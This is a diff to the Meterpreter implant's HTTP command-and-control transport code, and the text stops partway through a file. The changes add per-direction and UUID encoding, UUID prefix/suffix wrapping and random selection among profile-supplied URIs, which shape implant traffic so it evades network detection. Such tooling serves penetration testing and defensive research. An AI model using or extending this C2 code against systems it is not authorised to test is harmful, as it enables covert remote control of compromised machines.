diff --git a/c/meterpreter/source/common/common_core.h b/c/meterpreter/source/common/common_core.h index 83347c655..a16e093b6 100644 --- a/c/meterpreter/source/common/common_core.h +++ b/c/meterpreter/source/common/common_core.h @@ -198,7 +198,11 @@ typedef enum TLV_TYPE_C2_CERT_HASH = TLV_VALUE(TLV_META_TYPE_RAW, 717), ///! Expected SSL certificate hash TLV_TYPE_C2_PREFIX = TLV_VALUE(TLV_META_TYPE_RAW, 718), ///! Data to prepend to the outgoing payload TLV_TYPE_C2_SUFFIX = TLV_VALUE(TLV_META_TYPE_RAW, 719), ///! Data to append to the outgoing payload - TLV_TYPE_C2_ENC = TLV_VALUE(TLV_META_TYPE_UINT, 720), ///! Request encoding flags (Base64|URL|Base64url) + TLV_TYPE_C2_ENC_INBOUND = TLV_VALUE(TLV_META_TYPE_UINT, 720), ///! Server->client (response) body encoding flags + TLV_TYPE_C2_ENC_OUTBOUND = TLV_VALUE(TLV_META_TYPE_UINT, 728), ///! Client->server (request) body encoding flags + TLV_TYPE_C2_ENC_UUID = TLV_VALUE(TLV_META_TYPE_UINT, 729), ///! Encoding applied to the UUID before placement + TLV_TYPE_C2_UUID_PREFIX = TLV_VALUE(TLV_META_TYPE_STRING, 730), ///! String to prepend to the encoded UUID + TLV_TYPE_C2_UUID_SUFFIX = TLV_VALUE(TLV_META_TYPE_STRING, 731), ///! String to append to the encoded UUID TLV_TYPE_C2_PREFIX_SKIP = TLV_VALUE(TLV_META_TYPE_UINT, 721), ///! Size of prefix to skip (in bytes) TLV_TYPE_C2_SUFFIX_SKIP = TLV_VALUE(TLV_META_TYPE_UINT, 722), ///! Size of suffix to skip (in bytes) TLV_TYPE_C2_UUID_COOKIE = TLV_VALUE(TLV_META_TYPE_STRING, 723), ///! Name of the cookie to put the UUID in diff --git a/c/meterpreter/source/common/common_remote.h b/c/meterpreter/source/common/common_remote.h index 468f0b6df..36245e0ff 100644 --- a/c/meterpreter/source/common/common_remote.h +++ b/c/meterpreter/source/common/common_remote.h @@ -74,7 +74,8 @@ typedef struct _NamedPipeTransportContext typedef struct _HttpRequestOptions { - STRTYPE uri; + STRTYPE* uris; ///! Request URIs (base, or profile candidates); one chosen at random per request. + UINT uri_count; ///! Number of entries in uris. STRTYPE ua; STRTYPE headers; ///! Custom headers, including accept types or referrer if required. PBYTE payload_prefix; ///! Bytes to prepend to outgoing payloads. @@ -83,7 +84,11 @@ typedef struct _HttpRequestOptions UINT payload_suffix_size; ///! Size of the payload suffix UINT payload_prefix_skip; ///! Size of the incoming prefix to ignore UINT payload_suffix_skip; ///! Size of the incoming suffix to ignore - UINT encode_flags; ///! Flags to indicate what kind of encoding to apply, if any. + UINT encode_flags_inbound; ///! Flags to indicate how server->client (response) bodies are encoded. + UINT encode_flags_outbound; ///! Flags to indicate how client->server (request) bodies are encoded. + UINT encode_flags_uuid; ///! Flags to indicate how the UUID is encoded before placement. + STRTYPE uuid_prefix; ///! String to prepend to the (encoded) UUID before placement. + STRTYPE uuid_suffix; ///! String to append to the (encoded) UUID after placement. STRTYPE uuid_get; ///! The name of the GET/query string parameter to put the UUID in (optional). STRTYPE uuid_cookie; ///! The name of the cookie to put the UUID in (optional). STRTYPE uuid_header; ///! The name of the HTTP Header to put the UUID in (optional). diff --git a/c/meterpreter/source/extensions/python/Lib/meterpreter/core.py b/c/meterpreter/source/extensions/python/Lib/meterpreter/core.py index 6751d14ee..2efb23fe6 100644 --- a/c/meterpreter/source/extensions/python/Lib/meterpreter/core.py +++ b/c/meterpreter/source/extensions/python/Lib/meterpreter/core.py @@ -93,20 +93,6 @@ TLV_TYPE_LIBRARY_PATH = TLV_META_TYPE_STRING | 400 TLV_TYPE_TARGET_PATH = TLV_META_TYPE_STRING | 401 -TLV_TYPE_TRANS_TYPE = TLV_META_TYPE_UINT | 430 -TLV_TYPE_TRANS_URL = TLV_META_TYPE_STRING | 431 -TLV_TYPE_TRANS_UA = TLV_META_TYPE_STRING | 432 -TLV_TYPE_TRANS_COMM_TIMEOUT = TLV_META_TYPE_UINT | 433 -TLV_TYPE_TRANS_SESSION_EXP = TLV_META_TYPE_UINT | 434 -TLV_TYPE_TRANS_CERT_HASH = TLV_META_TYPE_RAW | 435 -TLV_TYPE_TRANS_PROXY_HOST = TLV_META_TYPE_STRING | 436 -TLV_TYPE_TRANS_PROXY_USER = TLV_META_TYPE_STRING | 437 -TLV_TYPE_TRANS_PROXY_PASS = TLV_META_TYPE_STRING | 438 -TLV_TYPE_TRANS_RETRY_TOTAL = TLV_META_TYPE_UINT | 439 -TLV_TYPE_TRANS_RETRY_WAIT = TLV_META_TYPE_UINT | 440 -TLV_TYPE_TRANS_HEADERS = TLV_META_TYPE_STRING | 441 -TLV_TYPE_TRANS_GROUP = TLV_META_TYPE_GROUP | 442 - TLV_TYPE_MACHINE_ID = TLV_META_TYPE_STRING | 460 TLV_TYPE_UUID = TLV_META_TYPE_RAW | 461 diff --git a/c/meterpreter/source/extensions/python/Lib/meterpreter/transport.py b/c/meterpreter/source/extensions/python/Lib/meterpreter/transport.py index b200d940b..7a7002720 100644 --- a/c/meterpreter/source/extensions/python/Lib/meterpreter/transport.py +++ b/c/meterpreter/source/extensions/python/Lib/meterpreter/transport.py @@ -1,68 +1,11 @@ -import meterpreter_bindings -import datetime - -from meterpreter.core import * -from meterpreter.tlv import * -from meterpreter.command import * +# Transport list/add helpers used to rely on TLV_TYPE_TRANS_* TLVs, which +# have been removed. Reimplement on the new C2 TLV shape before exposing +# these functions again. def list(): - resp = invoke_meterpreter(COMMAND_ID_CORE_TRANSPORT_LIST, True) - if resp == None: - return [] - - if packet_get_tlv(resp, TLV_TYPE_RESULT)['value'] != 0: - return [] - - transports = [] - for transport in packet_enum_tlvs(resp, TLV_TYPE_TRANS_GROUP): - t = transport['value'] - transports.append({ - 'URL': packet_get_tlv(t, TLV_TYPE_TRANS_URL)['value'], - 'CommTimeout': packet_get_tlv(t, TLV_TYPE_TRANS_COMM_TIMEOUT)['value'], - 'RetryTotal': packet_get_tlv(t, TLV_TYPE_TRANS_RETRY_TOTAL)['value'], - 'RetryWait': packet_get_tlv(t, TLV_TYPE_TRANS_RETRY_WAIT)['value'], - 'UA': packet_get_tlv_default(t, TLV_TYPE_TRANS_UA, None)['value'], - 'ProxyHost': packet_get_tlv_default(t, TLV_TYPE_TRANS_PROXY_HOST, None)['value'], - 'ProxyUser': packet_get_tlv_default(t, TLV_TYPE_TRANS_PROXY_USER, None)['value'], - 'ProxyPass': packet_get_tlv_default(t, TLV_TYPE_TRANS_PROXY_PASS, None)['value'], - 'CertHash': packet_get_tlv_default(t, TLV_TYPE_TRANS_CERT_HASH, None)['value'] - }) - - expiry_secs = packet_get_tlv(resp, TLV_TYPE_TRANS_SESSION_EXP)['value'] - expiry = datetime.datetime.now() + datetime.timedelta(seconds=expiry_secs) - return { - 'SessionExpiry': expiry, - 'Transports': transports - } + raise NotImplementedError("transport.list() pending rewrite onto C2 TLVs") def add(url, session_expiry=None, comm_timeout=None, retry_total=None, retry_wait=None, ua=None, proxy_host=None, proxy_user=None, proxy_pass=None, cert_hash=None): - - tlv = tlv_pack(TLV_TYPE_TRANS_URL, url) - - if session_expiry: - tlv += tlv_pack(TLV_TYPE_TRANS_SESSION_EXP, session_expiry) - if comm_timeout: - tlv += tlv_pack(TLV_TYPE_TRANS_COMM_TIMEOUT, comm_timeout) - if retry_total: - tlv += tlv_pack(TLV_TYPE_TRANS_RETRY_TOTAL, retry_total) - if retry_wait: - tlv += tlv_pack(TLV_TYPE_TRANS_RETRY_WAIT, retry_wait) - if ua: - tlv += tlv_pack(TLV_TYPE_TRANS_UA, ua) - if proxy_host: - tlv += tlv_pack(TLV_TYPE_TRANS_PROXY_HOST, proxy_host) - if proxy_user: - tlv += tlv_pack(TLV_TYPE_TRANS_PROXY_USER, proxy_user) - if proxy_pass: - tlv += tlv_pack(TLV_TYPE_TRANS_PROXY_PASS, proxy_pass) - if cert_hash: - tlv += tlv_pack(TLV_TYPE_TRANS_CERT_HASH, cert_hash) - - resp = invoke_meterpreter(COMMAND_ID_CORE_TRANSPORT_ADD, True, tlv) - if resp == None: - return False - - return packet_get_tlv(resp, TLV_TYPE_RESULT)['value'] == 0 - + raise NotImplementedError("transport.add() pending rewrite onto C2 TLVs") diff --git a/c/meterpreter/source/metsrv/core.c b/c/meterpreter/source/metsrv/core.c index 15cf41ecc..737362906 100644 --- a/c/meterpreter/source/metsrv/core.c +++ b/c/meterpreter/source/metsrv/core.c @@ -760,6 +760,11 @@ DWORD packet_get_tlv_group_entry(Packet *packet, Tlv *group, TlvType type, Tlv * return packet_find_tlv_buf(packet, group->buffer, group->header.length, 0, type, entry); } +DWORD packet_get_tlv_group_entry_n(Packet *packet, Tlv *group, DWORD index, TlvType type, Tlv *entry) +{ + return packet_find_tlv_buf(packet, group->buffer, group->header.length, index, type, entry); +} + PCHAR packet_get_tlv_group_entry_value_string(Packet *packet, Tlv *group, TlvType type, DWORD* size) { Tlv entry = { 0 }; diff --git a/c/meterpreter/source/metsrv/core.h b/c/meterpreter/source/metsrv/core.h index 6ae7adbb8..1c4443395 100644 --- a/c/meterpreter/source/metsrv/core.h +++ b/c/meterpreter/source/metsrv/core.h @@ -36,6 +36,7 @@ TlvMetaType packet_get_tlv_meta(Packet *packet, Tlv *tlv); DWORD packet_get_tlv(Packet *packet, TlvType type, Tlv *tlv); DWORD packet_get_tlv_string(Packet *packet, TlvType type, Tlv *tlv); DWORD packet_get_tlv_group_entry(Packet *packet, Tlv *group, TlvType type,Tlv *entry); +DWORD packet_get_tlv_group_entry_n(Packet *packet, Tlv *group, DWORD index, TlvType type, Tlv *entry); DWORD packet_enum_tlv(Packet *packet, DWORD index, TlvType type, Tlv *tlv); DWORD packet_enum_group_tlv(Packet* packet, Tlv* group, DWORD index, TlvType type, Tlv* tlv); diff --git a/c/meterpreter/source/metsrv/server_http_utils.c b/c/meterpreter/source/metsrv/server_http_utils.c index 6bfb53e58..19dc1938b 100644 --- a/c/meterpreter/source/metsrv/server_http_utils.c +++ b/c/meterpreter/source/metsrv/server_http_utils.c @@ -75,7 +75,7 @@ BOOL decode_encoded_packet(HttpTransportContext* ctx, LPBYTE encodedData, DWORD HttpConnection* conn = &ctx->get_connection; BOOL result = FALSE; - switch (conn->options.encode_flags) + switch (conn->options.encode_flags_inbound) { case C2_ENCODING_URL: { @@ -89,7 +89,7 @@ BOOL decode_encoded_packet(HttpTransportContext* ctx, LPBYTE encodedData, DWORD DWORD decodeInputLen = encodedDataLen; LPBYTE convertedBuf = NULL; - if (conn->options.encode_flags == C2_ENCODING_B64URI) + if (conn->options.encode_flags_inbound == C2_ENCODING_B64URI) { convertedBuf = b64uri_to_b64(encodedData, encodedDataLen, &decodeInputLen); if (convertedBuf == NULL) @@ -153,62 +153,130 @@ BOOL decode_encoded_packet(HttpTransportContext* ctx, LPBYTE encodedData, DWORD * the buffer, and will know not to do so by the \c FALSE result. Otherwise * the caller should free() the \c data buffer when the result is \c TRUE. */ -BOOL encode_raw_packet(HttpTransportContext* ctx, LPBYTE data, DWORD dataLen, LPBYTE* encodedData, LPDWORD encodedDataLen) +/*! + * @brief Apply a C2 encoding (base64 / base64url) to a byte buffer. + * @returns A newly malloc'd buffer the caller must free, or NULL if the + * requested encoding is NONE/URL/unsupported or allocation fails. + * *outLen is set on success. + */ +static LPBYTE c2_encode_buf(LPBYTE data, DWORD dataLen, UINT enc, LPDWORD outLen) { - HttpConnection* conn = &ctx->post_connection; - BOOL result = FALSE; + if (enc != C2_ENCODING_B64 && enc != C2_ENCODING_B64URI) + { + return NULL; + } - switch (conn->options.encode_flags) + DWORD flags = CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF; + if (!CryptBinaryToStringA(data, dataLen, flags, NULL, outLen)) { - case C2_ENCODING_URL: + return NULL; + } + + LPBYTE encoded = (LPBYTE)calloc(sizeof(BYTE), *outLen + 1); + if (encoded == NULL) { - // TODO? - break; + return NULL; } - case C2_ENCODING_B64: - case C2_ENCODING_B64URI: + + if (!CryptBinaryToStringA(data, dataLen, flags, encoded, outLen)) { - DWORD flags = CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF; + free(encoded); + return NULL; + } - if (CryptBinaryToStringA(data, dataLen, flags, NULL, encodedDataLen)) - { - LPBYTE encoded = (LPBYTE)calloc(sizeof(BYTE), *encodedDataLen + 1); - if (encoded != NULL) - { - if (CryptBinaryToStringA(data, dataLen, flags, encoded, encodedDataLen)) - { - if (conn->options.encode_flags == C2_ENCODING_B64URI) - { - b64_to_b64uri(encoded, encodedDataLen); - } + if (enc == C2_ENCODING_B64URI) + { + b64_to_b64uri(encoded, outLen); + } - result = TRUE; - *encodedData = encoded; - } - else - { - free(encoded); - } - } - } + return encoded; +} - break; - } - case C2_ENCODING_NONE: - default: +BOOL encode_raw_packet(HttpTransportContext* ctx, LPBYTE data, DWORD dataLen, LPBYTE* encodedData, LPDWORD encodedDataLen) +{ + UINT enc = ctx->post_connection.options.encode_flags_outbound; + LPBYTE encoded = c2_encode_buf(data, dataLen, enc, encodedDataLen); + if (encoded != NULL) { - // do nothing here, as the data doesn't need to be handled - break; + *encodedData = encoded; + return TRUE; } + + *encodedData = data; + *encodedDataLen = dataLen; + return FALSE; +} + +/*! + * @brief Resolve the effective UUID transform options for a connection, + * preferring per-verb settings then falling back to the transport-wide + * defaults. Lets callers honour `id`/`metadata` directives from the C2 + * profile without each placement site having to re-do the lookup. + */ +static void resolve_uuid_opts(HttpTransportContext* ctx, HttpConnection* conn, + UINT* enc, PWSTR* prefix, PWSTR* suffix) +{ + *enc = conn && conn->options.encode_flags_uuid ? conn->options.encode_flags_uuid : ctx->default_options.encode_flags_uuid; + *prefix = conn && conn->options.uuid_prefix ? conn->options.uuid_prefix : ctx->default_options.uuid_prefix; + *suffix = conn && conn->options.uuid_suffix ? conn->options.uuid_suffix : ctx->default_options.uuid_suffix; +} + +/*! + * @brief Encode a UUID per the profile (base64 / base64url), then wrap + * with the configured uuid_prefix/uuid_suffix strings. Returns a malloc'd + * wide string the caller must free, or NULL on empty input / failure. + */ +PWSTR render_uuid(HttpTransportContext* ctx, HttpConnection* conn, PCWSTR uuid) +{ + if (!uuid || !*uuid) return NULL; + + UINT enc = 0; + PWSTR prefix = NULL, suffix = NULL; + resolve_uuid_opts(ctx, conn, &enc, &prefix, &suffix); + + size_t uuid_len = wcslen(uuid); + size_t prefix_len = prefix ? wcslen(prefix) : 0; + size_t suffix_len = suffix ? wcslen(suffix) : 0; + + /* Encode (when requested) in the byte domain, then widen the result + * char-by-char — base64/base64url output is pure ASCII so this is + * faithful, and avoids a CP_*-specific widening step. */ + LPBYTE encoded = NULL; + DWORD encoded_len = 0; + BOOL free_encoded = FALSE; + if (enc == C2_ENCODING_B64 || enc == C2_ENCODING_B64URI) + { + LPBYTE uuid_bytes = (LPBYTE)calloc(uuid_len + 1, sizeof(BYTE)); + if (!uuid_bytes) return NULL; + for (size_t i = 0; i < uuid_len; i++) { uuid_bytes[i] = (BYTE)uuid[i]; } + + encoded = c2_encode_buf(uuid_bytes, (DWORD)uuid_len, enc, &encoded_len); + free(uuid_bytes); + if (!encoded) return NULL; + free_encoded = TRUE; } - if (!result) + size_t encoded_wlen = encoded ? encoded_len : uuid_len; + size_t total = prefix_len + encoded_wlen + suffix_len; + PWSTR out = (PWSTR)calloc(total + 1, sizeof(wchar_t)); + if (out) { - *encodedData = data; - *encodedDataLen = dataLen; + PWSTR p = out; + if (prefix_len > 0) { wmemcpy(p, prefix, prefix_len); p += prefix_len; } + if (encoded) + { + for (DWORD j = 0; j < encoded_len; j++) { *p++ = (wchar_t)encoded[j]; } + } + else + { + wmemcpy(p, uuid, uuid_len); + p += uuid_len; + } + if (suffix_len > 0) { wmemcpy(p, suffix, suffix_len); } } - return result; + if (free_encoded) free(encoded); + return out; } /*! @@ -230,10 +298,12 @@ PWSTR generate_headers(HttpTransportContext* ctx, HttpConnection* conn) PWSTR uuidHeader = conn->options.uuid_header ? conn->options.uuid_header : ctx->default_options.uuid_header; if (uuidHeader) { - // UUID is going in the header, so we need to add it. Let's hope people aren't - // stupid enough to double-up this header. Length needs to include space for \r\n and the colon/space, - // AND the UUID length itself. - size_t extraHeaderLength = wcslen(uuidHeader) + 2 + wcslen(ctx->uuid) + 2; + PWSTR rendered = render_uuid(ctx, conn, ctx->uuid); + PCWSTR uuidValue = rendered ? rendered : ctx->uuid; + + // UUID is going in the header, so we need to add it. Length needs space for + // \r\n and the colon/space, AND the (possibly transformed) UUID length itself. + size_t extraHeaderLength = wcslen(uuidHeader) + 2 + wcslen(uuidValue) + 2; size_t totalHeaderLength = extraHeaderLength + (headers ? wcslen(headers) : 0) + 2; outboundHeaders = (PWCHAR)calloc(totalHeaderLength, sizeof(wchar_t)); @@ -244,7 +314,8 @@ PWSTR generate_headers(HttpTransportContext* ctx, HttpConnection* conn) } wcscat_s(outboundHeaders, totalHeaderLength, uuidHeader); wcscat_s(outboundHeaders, totalHeaderLength, L": "); - wcscat_s(outboundHeaders, totalHeaderLength, ctx->uuid); + wcscat_s(outboundHeaders, totalHeaderLength, uuidValue); + SAFE_FREE(rendered); } else if (headers) { @@ -268,13 +339,50 @@ PWSTR generate_headers(HttpTransportContext* ctx, HttpConnection* conn) * is included with any outbound URI that is associated with the request, and hence allows * for the URI to change between get and post requests based on a C2 profile. */ -PWSTR generate_uri(HttpTransportContext* ctx, HttpConnection* conn) +/*! + * @brief Free the candidate URI array on an options struct. + */ +void http_options_free_uris(HttpRequestOptions* options) { - PWCHAR baseUri = ctx->default_options.uri; - if (conn->options.uri) + if (options->uris != NULL) { - baseUri = conn->options.uri; + for (UINT i = 0; i < options->uri_count; ++i) + { + SAFE_FREE(options->uris[i]); + } + free(options->uris); + options->uris = NULL; } + options->uri_count = 0; +} + +/*! + * @brief Replace the options' candidate URIs with a single base URI. + * @details Used for the default/base transport URL (derived from C2_URL), + * which has no profile-supplied candidate list. + */ +void http_options_set_single_uri(HttpRequestOptions* options, PCWSTR uri) +{ + http_options_free_uris(options); + if (uri == NULL) + { + return; + } + options->uris = (PWSTR*)calloc(1, sizeof(PWSTR)); + if (options->uris == NULL) + { + return; + } + options->uris[0] = _wcsdup(uri); + options->uri_count = 1; +} + +PWSTR generate_uri(HttpTransportContext* ctx, HttpConnection* conn) +{ + // Pick one of the connection's candidate URIs at random; fall back to the + // transport's default/base URI when the verb config has none. + HttpRequestOptions* opts = conn->options.uri_count > 0 ? &conn->options : &ctx->default_options; + PWCHAR baseUri = opts->uri_count > 0 ? opts->uris[rand() % opts->uri_count] : NULL; // if we don't have a UUID yet we are going to assume that it's in the base URI. // If we do have a URI specified for this connection, we need to parse it. But only @@ -296,10 +404,13 @@ PWSTR generate_uri(HttpTransportContext* ctx, HttpConnection* conn) // -- /some/uri/(UUID)?some=thing(¶m=UUID) // The location of the UUID changes depending on what's provided in the configuration + PWSTR rendered = render_uuid(ctx, conn, ctx->uuid); + PCWSTR uuidValue = rendered ? rendered : ctx->uuid; + PWCHAR queryString = wcschr(baseUri, L'?'); size_t queryStringLen = queryString ? wcslen(queryString) : 0; size_t baseUriLen = queryString ? queryString - baseUri : wcslen(baseUri); - size_t uuidLen = wcslen(ctx->uuid) + 2; // enough space for including slashes if required + size_t uuidLen = wcslen(uuidValue) + 2; // enough space for including slashes if required if (getParam) { @@ -316,7 +427,7 @@ PWSTR generate_uri(HttpTransportContext* ctx, HttpConnection* conn) if (!getParam) { wcscat_s(uri, uriLen, L"/"); - wcscat_s(uri, uriLen, ctx->uuid); + wcscat_s(uri, uriLen, uuidValue); wcscat_s(uri, uriLen, L"/"); } @@ -330,11 +441,12 @@ PWSTR generate_uri(HttpTransportContext* ctx, HttpConnection* conn) if (getParam) { wcscat_s(uri, uriLen, queryString ? L"&" : L"?"); - wcscat_s(uri, uriLen, conn->options.uuid_get); + wcscat_s(uri, uriLen, getParam); wcscat_s(uri, uriLen, L"="); - wcscat_s(uri, uriLen, ctx->uuid); + wcscat_s(uri, uriLen, uuidValue); } + SAFE_FREE(rendered); dprintf("[GENURI] final URI: %S", uri); return uri; diff --git a/c/meterpreter/source/metsrv/server_http_utils.h b/c/meterpreter/source/metsrv/server_http_utils.h index e1c37fa06..f9822a0cd 100644 --- a/c/meterpreter/source/metsrv/server_http_utils.h +++ b/c/meterpreter/source/metsrv/server_http_utils.h @@ -11,5 +11,8 @@ BOOL decode_encoded_packet(HttpTransportContext* ctx, LPBYTE encodedData, DWORD BOOL encode_raw_packet(HttpTransportContext* conn, LPBYTE data, DWORD dataLen, LPBYTE* encodedData, LPDWORD encodedDataLen); PWSTR generate_headers(HttpTransportContext* ctx, HttpConnection* conn); PWSTR generate_uri(HttpTransportContext* ctx, HttpConnection* conn); +PWSTR render_uuid(HttpTransportContext* ctx, HttpConnection* conn, PCWSTR uuid); +void http_options_free_uris(HttpRequestOptions* options); +void http_options_set_single_uri(HttpRequestOptions* options, PCWSTR uri); #endif diff --git a/c/meterpreter/source/metsrv/server_transport_winhttp.c b/c/meterpreter/source/metsrv/server_transport_winhttp.c index 8e0e8ce1d..5b365619d 100644 --- a/c/meterpreter/source/metsrv/server_transport_winhttp.c +++ b/c/meterpreter/source/metsrv/server_transport_winhttp.c @@ -701,10 +701,9 @@ static DWORD server_init_winhttp(Transport* transport) dprintf("[DISPATCH] About to crack URL: %S", transport->url); WinHttpCrackUrl(transport->url, 0, 0, &bits); - SAFE_FREE(ctx->default_options.uri); - ctx->default_options.uri = _wcsdup(tmpUrlPath); + http_options_set_single_uri(&ctx->default_options, tmpUrlPath); - dprintf("[DISPATCH] Configured URI: %S", ctx->default_options.uri); + dprintf("[DISPATCH] Configured URI: %S", tmpUrlPath); dprintf("[DISPATCH] Host: %S Port: %u", tmpHostName, bits.nPort); DWORD result = server_init_connection(ctx, &ctx->get_connection, tmpHostName, bits.nPort); @@ -886,10 +885,12 @@ static DWORD server_dispatch_http(Remote* remote, THREAD* dispatchThread) static void destroy_options(HttpRequestOptions* options) { SAFE_FREE(options->ua); - SAFE_FREE(options->uri); + http_options_free_uris(options); SAFE_FREE(options->headers); SAFE_FREE(options->payload_prefix); SAFE_FREE(options->payload_suffix); + SAFE_FREE(options->uuid_prefix); + SAFE_FREE(options->uuid_suffix); SAFE_FREE(options->uuid_cookie); SAFE_FREE(options->uuid_header); SAFE_FREE(options->uuid_get); @@ -947,9 +948,25 @@ static void transport_destroy_http(Transport* transport) */ BOOL set_http_options_to_tlv(Packet* optionsPacket, HttpRequestOptions* sourceOptions) { - if (sourceOptions->encode_flags != 0) + if (sourceOptions->encode_flags_inbound != 0) { - packet_add_tlv_uint(optionsPacket, TLV_TYPE_C2_ENC, sourceOptions->encode_flags); + packet_add_tlv_uint(optionsPacket, TLV_TYPE_C2_ENC_INBOUND, sourceOptions->encode_flags_inbound); + } + if (sourceOptions->encode_flags_outbound != 0) + { + packet_add_tlv_uint(optionsPacket, TLV_TYPE_C2_ENC_OUTBOUND, sourceOptions->encode_flags_outbound); + } + if (sourceOptions->encode_flags_uuid != 0) + { + packet_add_tlv_uint(optionsPacket, TLV_TYPE_C2_ENC_UUID, sourceOptions->encode_flags_uuid); + } + if (sourceOptions->uuid_prefix != NULL) + { + packet_add_tlv_wstring(optionsPacket, TLV_TYPE_C2_UUID_PREFIX, sourceOptions->uuid_prefix); + } + if (sourceOptions->uuid_suffix != NULL) + { + packet_add_tlv_wstring(optionsPacket, TLV_TYPE_C2_UUID_SUFFIX, sourceOptions->uuid_suffix); } if (sourceOptions->headers != NULL) { @@ -975,9 +992,9 @@ BOOL set_http_options_to_tlv(Packet* optionsPacket, HttpRequestOptions* sourceOp { packet_add_tlv_wstring(optionsPacket, TLV_TYPE_C2_UA, sourceOptions->ua); } - if (sourceOptions->uri != NULL) + for (UINT i = 0; i < sourceOptions->uri_count; ++i) { - packet_add_tlv_wstring(optionsPacket, TLV_TYPE_C2_URI, sourceOptions->uri); + packet_add_tlv_wstring(optionsPacket, TLV_TYPE_C2_URI, sourceOptions->uris[i]); } if (sourceOptions->uuid_cookie != NULL) { @@ -1052,7 +1069,11 @@ BOOL get_http_options_from_tlv(Packet* packet, Tlv* optionsTlv, HttpRequestOptio { DWORD payloadSize = 0; - targetOptions->encode_flags = packet_get_tlv_group_entry_value_uint(packet, optionsTlv, TLV_TYPE_C2_ENC); + targetOptions->encode_flags_inbound = packet_get_tlv_group_entry_value_uint(packet, optionsTlv, TLV_TYPE_C2_ENC_INBOUND); + targetOptions->encode_flags_outbound = packet_get_tlv_group_entry_value_uint(packet, optionsTlv, TLV_TYPE_C2_ENC_OUTBOUND); + targetOptions->encode_flags_uuid = packet_get_tlv_group_entry_value_uint(packet, optionsTlv, TLV_TYPE_C2_ENC_UUID); + targetOptions->uuid_prefix = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_UUID_PREFIX, NULL); + targetOptions->uuid_suffix = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_UUID_SUFFIX, NULL); targetOptions->headers = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_HEADERS, NULL); targetOptions->payload_prefix = packet_get_tlv_group_entry_value_raw_copy(packet, optionsTlv, TLV_TYPE_C2_PREFIX, &payloadSize); targetOptions->payload_prefix_size = payloadSize; @@ -1061,7 +1082,33 @@ BOOL get_http_options_from_tlv(Packet* packet, Tlv* optionsTlv, HttpRequestOptio targetOptions->payload_suffix_size = payloadSize; targetOptions->payload_suffix_skip = packet_get_tlv_group_entry_value_uint(packet, optionsTlv, TLV_TYPE_C2_SUFFIX_SKIP); targetOptions->ua = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_UA, NULL); - targetOptions->uri = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_URI, NULL); + // A profile's `set uri` may list several candidate URIs, emitted as + // repeated TLV_TYPE_C2_URI values. Collect them all; generate_uri picks + // one at random per request (Cobalt Strike semantics). + Tlv uriEntry; + DWORD uriIndex = 0; + while (packet_get_tlv_group_entry_n(packet, optionsTlv, uriIndex, TLV_TYPE_C2_URI, &uriEntry) == ERROR_SUCCESS) + { + PCHAR narrow = (PCHAR)uriEntry.buffer; + size_t wlen = mbstowcs(NULL, narrow, 0) + 1; + PWSTR wide = (PWSTR)calloc(wlen, sizeof(wchar_t)); + if (wide == NULL) + { + break; + } + mbstowcs(wide, narrow, wlen); + + PWSTR* grown = (PWSTR*)realloc(targetOptions->uris, sizeof(PWSTR) * (targetOptions->uri_count + 1)); + if (grown == NULL) + { + free(wide); + break; + } + targetOptions->uris = grown; + targetOptions->uris[targetOptions->uri_count] = wide; + targetOptions->uri_count++; + uriIndex++; + } targetOptions->uuid_cookie = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_UUID_COOKIE, NULL); targetOptions->uuid_get = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_UUID_GET, NULL); targetOptions->uuid_header = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_UUID_HEADER, NULL); @@ -1089,7 +1136,11 @@ BOOL get_http_options_from_config(Packet* packet, Tlv* c2Tlv, UINT tlvType, Http static void debug_print_http_options(PSTR type, HttpRequestOptions* options) { - dprintf("[HTTP OPTION] - %s - Encode Flags: 0x%x", type, options->encode_flags); + dprintf("[HTTP OPTION] - %s - Encode Flags Inbound: 0x%x", type, options->encode_flags_inbound); + dprintf("[HTTP OPTION] - %s - Encode Flags Outbound: 0x%x", type, options->encode_flags_outbound); + dprintf("[HTTP OPTION] - %s - Encode Flags UUID: 0x%x", type, options->encode_flags_uuid); + dprintf("[HTTP OPTION] - %s - UUID Prefix: %S", type, options->uuid_prefix); + dprintf("[HTTP OPTION] - %s - UUID Suffix: %S", type, options->uuid_suffix); dprintf("[HTTP OPTION] - %s - Headers: %S", type, options->headers); dprintf("[HTTP OPTION] - %s - Payload Prefix Size: %u", type, options->payload_prefix_size); dprintf("[HTTP OPTION] - %s - Payload Prefix: %s", type, options->payload_prefix); @@ -1097,7 +1148,11 @@ static void debug_print_http_options(PSTR type, HttpRequestOptions* options) dprintf("[HTTP OPTION] - %s - Payload Suffix: %s", type, options->payload_suffix); dprintf("[HTTP OPTION] - %s - Prefix Skip: %u", type, options->payload_prefix_skip); dprintf("[HTTP OPTION] - %s - Suffix Skip: %u", type, options->payload_suffix_skip); - dprintf("[HTTP OPTION] - %s - URI: %S", type, options->uri); + dprintf("[HTTP OPTION] - %s - URI count: %u", type, options->uri_count); + for (UINT i = 0; i < options->uri_count; ++i) + { + dprintf("[HTTP OPTION] - %s - URI[%u]: %S", type, i, options->uris[i]); + } dprintf("[HTTP OPTION] - %s - UUID Cookie: %S", type, options->uuid_cookie); dprintf("[HTTP OPTION] - %s - UUID Get: %S", type, options->uuid_get); dprintf("[HTTP OPTION] - %s - UUID Header: %S", type, options->uuid_header); diff --git a/c/meterpreter/source/metsrv/server_transport_wininet.c b/c/meterpreter/source/metsrv/server_transport_wininet.c index d3b8b5953..63b73e7ed 100644 --- a/c/meterpreter/source/metsrv/server_transport_wininet.c +++ b/c/meterpreter/source/metsrv/server_transport_wininet.c @@ -264,10 +264,9 @@ static DWORD server_init_wininet(Transport* transport) dprintf("[DISPATCH] About to crack URL: %S", transport->url); InternetCrackUrl(transport->url, 0, 0, &bits); - SAFE_FREE(ctx->default_options.uri); - ctx->default_options.uri = _wcsdup(tmpUrlPath); + http_options_set_single_uri(&ctx->default_options, tmpUrlPath); - dprintf("[DISPATCH] Configured URI: %S", ctx->default_options.uri); + 